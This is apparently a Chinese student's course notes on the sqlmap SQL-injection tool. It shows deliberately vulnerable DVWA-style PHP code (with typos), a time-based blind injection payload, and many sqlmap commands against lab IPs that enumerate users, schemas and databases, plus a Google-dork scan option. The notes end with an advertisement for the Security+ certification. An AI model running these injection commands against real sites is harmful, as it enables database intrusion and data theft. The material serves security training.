【安全牛學習筆記】SQLMAP- 自動註入
SQLMAP自動註入
開源sql註入漏洞檢測、利用工具
檢測動態頁面中get/post參數、cookie、http頭
數據榨取
文件系統訪問
操作系統命令執行
引擎強大、特性豐富
Xss漏洞檢測
------------------------------------------------------------------------------
低安全代碼
<?php
if (isset($_GET['Submit'])){
// Retrieve data
$id = $_GET['id'];
$getid = "SELECT first_name,last_name FROM users WHERE user_id ='$id';
$result = mysql_query($getid);
$num = @mysql_numrows($result);
$i = 0;
while ($i < $num){
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>first_name: ' . $first . '<br>Surname: ' . $last;
echi '</pre>';
$i++;
}
}
?>
------------------------------------------------------------------------------
中安全代碼
<?php
if (isset($_GET['Submit'])){
// Retrieve data
$id = $_GET['id'];
$id = mysql_real_escape_string($id);
$getid = "SELECT first_name,last_name FROM users WHERE user_id ='$id';
$result = mysql_query($getid); // Removed or die' to suppres mysql errors
$num = @mysql_numrows($result); // The '@' character supressed errors making the injection bling
$i = 0;
while ($i < $num){
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>first_name: ' . $first . '<br>Surname: ' . $last;
echi '</pre>';
$i++;
}
}
?>
-------------------------------------------------------------------------
高安全代碼
<?php
if (isset($_GET['Submit'])){
// Retrieve data
$id = $_GET['id'];
$id = stripslashed($id);
$id = mysql_real_escape_string($id);
$getid = "SELECT first_name,last_name FROM users WHERE user_id ='$id';
$result = mysql_query($getid); // Removed or die' to suppres mysql errors
$num = @mysql_numrows($result); // The '@' character supressed errors making the injection bling
$i = 0;
while ($i < $num){
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>first_name: ' . $first . '<br>Surname: ' . $last;
echi '</pre>';
$i++;
}
}
?>
------------------------------------------------------------------------
SQLMAP自動註入
五種漏洞檢測技術
基於布爾的盲註檢測
基於時間的盲註檢測
'and (select * from (select(sleep(20)))a)--+
基於錯誤的檢測
基於UNION聯合查詢的檢測
適用於通過循壞直接輸出聯合查詢結果,否則只顯示第一項結果
基於堆疊查詢的檢測
;堆疊多個查詢語句
適用於非select的數據修改、刪除的操作
支持的數據庫管理系統DBMS
MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,
Firebird,Sybase,SAP MaxDB
SQLMAP自動註入
其他特性
數據庫直接連接-d
不通過SQL註入,制定×××信息、IP、端口
與burpustie、google結合適用,支持政策表達式限定測試目標
Get、post、cookie、Referer、User-Agent(隨機或指定)
Cookie過期後自動處理Set-Cookie頭,更新cookie信息
限速:最大並發、延遲發送
支持Basic,Digest,NTLM,CA身份認證
數據庫版本、用戶、權限、hash枚舉和字典破解、暴力破解表列名稱
文件上傳下載、UDF、啟動並執行存儲過程、操作系統命令執行、訪問windows註冊表
與w3af、metasploit集成結合適用,基於數據庫服務進程提權和上傳執行後門
SQLMAP自動註入
基於python2.7開發
安裝
apt-get install git
git clone https://gihub.com/sqlmapproject/sqlmap.git sqlmap-dev
升級
sqlmap --update 在線
git pull 離線
Kali集成板隨kali庫更新
root@R:~# sqlmap --update
root@R:~# sqlmap --version //查看sqlmap版本
root@R:~# git clone https://gihub.com/sqlmapproject/sqlmap.git sqlmap-dev
SQLMAP自動註入
sqlmap -h / -hh
sqlmap -d "mysql://root:@192.168.20.10:3306/dvwa" -f -users
--banner --dbs --schema -a
sqlmap --version -v
日誌
sqlmap
輸出
輸出內容詳細度分7個等級
root@R:~# sqlmap -h
root@R:~# sqlmap -hh //所有的參數
SQLMAP自動註入
Get方法
sqlmap -u "http://192.168.20.10/muilldae/index.php?page=user-
info.php&username=11&password=22&user-info-php-submit-
button=View+Account+Details" -p username -f
掃描URL列表文件
http://1.1.1.1/vuln.php?q=foobar
http://1.1.1.1/vuln3/id/1*
sqlmap -m list.txt
掃描google搜索結果
sqlmap.py -g "inurl:\".php?id=1\""
root@R:~# sqlmap -u "http://192.168.20.10/muilldae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details" -p username
文件保存到/root/.sqlmap/output
root@R:~# cd .sqlmap/
root@R:~/.sqlmap# ls
output
root@R:~/.sqlmap# cd output/
root@R:~/.sqlmap/output# ls
192.168.1.121
root@R:~/.sqlmap/output# cd 192.168.1.121
root@R:~/.sqlmap/output/192.168.1.121# ls
log session.sqlite target.txt
root@R:~/.sqlmap/output/192.168.1.121# more log
root@R:~/.sqlmap/output/192.168.1.121# more session.sqlite
root@R:~/.sqlmap/output/192.168.1.121# more target.txt
root@R:~# sqlmap -u "http://192.168.20.10/muilldae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details" -p username --users
root@R:~# sqlmap -u "http://192.168.20.10/muilldae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details" -p username --banner
root@R:~# sqlmap -u "http://192.168.20.10/muilldae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details" -p username --schema
root@R:~# sqlmap -u "http://192.168.20.10/muilldae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details" -p username --schema -a //所有
root@R:~# sqlmap -d "mysql://[email protected]:3306/dvwa" -f -users
root@R:~# sqlmap -d "mysql://[email protected]:3306/dvwa" -f -banner
root@R:~# sqlmap -d "mysql://[email protected]:3306/dvwa" -f -a
root@R:~# vi list
http://192.168.20.10/muilldae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details
root@R:~# sqlmap -m list.txt --dbs
root@R:~# sqlmap -m list.txt --user
SQLMAP自動註入
POST方法
使用http請求文件(burpsuite)
sqlmap -r request.txt
使用burpsuite log文件
sqlmap -l log.txt
HTTPS
sqlmap -u "http://1.1.1.1/a.php?id=1:8843" --force-ssl
掃描配置文件
sqlmap -c sqlmap.conf
root@R:~# vi post
User-Agent: Mozilla/5.0 (x11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Icweasel/43.0.4
Accept: text/htm,appliction/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accep-Encoding: gzip, deflate
Referer: http://192.168.1.121/murillidae/index.php?page=login.php
Cookie: PHPSESSID=558206c48166fc5523a87b591100fb3e
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
useranme=1&password=11&login-php-submin-button=login
root@R:~# sqlmap -r post.txt --dbs
root@R:~# dpkg -L sqlmap | grep sqlmap.com
/etc/sqlmap/sqlmap.conf
/usr/share/doc/sqlmap/examples/sqlmap.conf.gz
root@R:~# cat /etc/sqlmap/sqlmap.conf
該筆記為安全牛課堂學員筆記,想看此課程或者信息安全類幹貨可以移步到安全牛課堂
Security+認證為什麽是互聯網+時代最火爆的認證?
牛妹先給大家介紹一下Security+
Security+ 認證是一種中立第三方認證,其發證機構為美國計算機行業協會CompTIA ;是和CISSP、ITIL 等共同包含在內的國際 IT 業 10 大熱門認證之一,和CISSP偏重信息安全管理相比,Security+ 認證更偏重信息安全技術和操作。
通過該認證證明了您具備網絡安全,合規性和操作安全,威脅和漏洞,應用程序、數據和主機安全,訪問控制和身份管理以及加密技術等方面的能力。因其考試難度不易,含金量較高,目前已被全球企業和安全專業人士所普遍采納。
Security+認證如此火爆的原因?
原因一:在所有信息安全認證當中,偏重信息安全技術的認證是空白的, Security+認證正好可以彌補信息安全技術領域的空白 。
目前行業內受認可的信息安全認證主要有CISP和CISSP,但是無論CISP還是CISSP都是偏重信息安全管理的,技術知識講的寬泛且淺顯,考試都是一帶而過。而且CISSP要求持證人員的信息安全工作經驗都要5年以上,CISP也要求大專學歷4年以上工作經驗,這些要求無疑把有能力且上進的年輕人的持證之路堵住。在現實社會中,無論是找工作還是升職加薪,或是投標時候報人員,認證都是必不可少的,這給年輕人帶來了很多不公平。而Security+的出現可以掃清這些年輕人職業發展中的障礙,由於Security+偏重信息安全技術,所以對工作經驗沒有特別的要求。只要你有IT相關背景,追求進步就可以學習和考試。
原因二: IT運維人員工作與翻身的利器。
在銀行、證券、保險、信息通訊等行業,IT運維人員非常多,IT運維涉及的工作面也非常廣。是一個集網絡、系統、安全、應用架構、存儲為一體的綜合性技術崗。雖然沒有程序猿們“生當做光棍,死亦寫代碼”的悲壯,但也有著“鋤禾日當午,不如運維苦“的感慨。天天對著電腦和機器,時間長了難免有對於職業發展的迷茫和困惑。Security+國際認證的出現可以讓有追求的IT運維人員學習網絡安全知識,掌握網絡安全實踐。職業發展朝著網絡安全的方向發展,解決國內信息安全人才的匱乏問題。另外,即使不轉型,要做好運維工作,學習安全知識取得安全認證也是必不可少的。
原因三:接地氣、國際範兒、考試方便、費用適中!
CompTIA作為全球ICT領域最具影響力的全球領先機構,在信息安全人才認證方面是專業、公平、公正的。Security+認證偏重操作且和一線工程師的日常工作息息相關。適合銀行、證券、保險、互聯網公司等IT相關人員學習。作為國際認證在全球147個國家受到廣泛的認可。
在目前的信息安全大潮之下,人才是信息安全發展的關鍵。而目前國內的信息安全人才是非常匱乏的,相信Security+認證一定會成為最火爆的信息安全認證。
【安全牛學習筆記】SQLMAP- 自動註入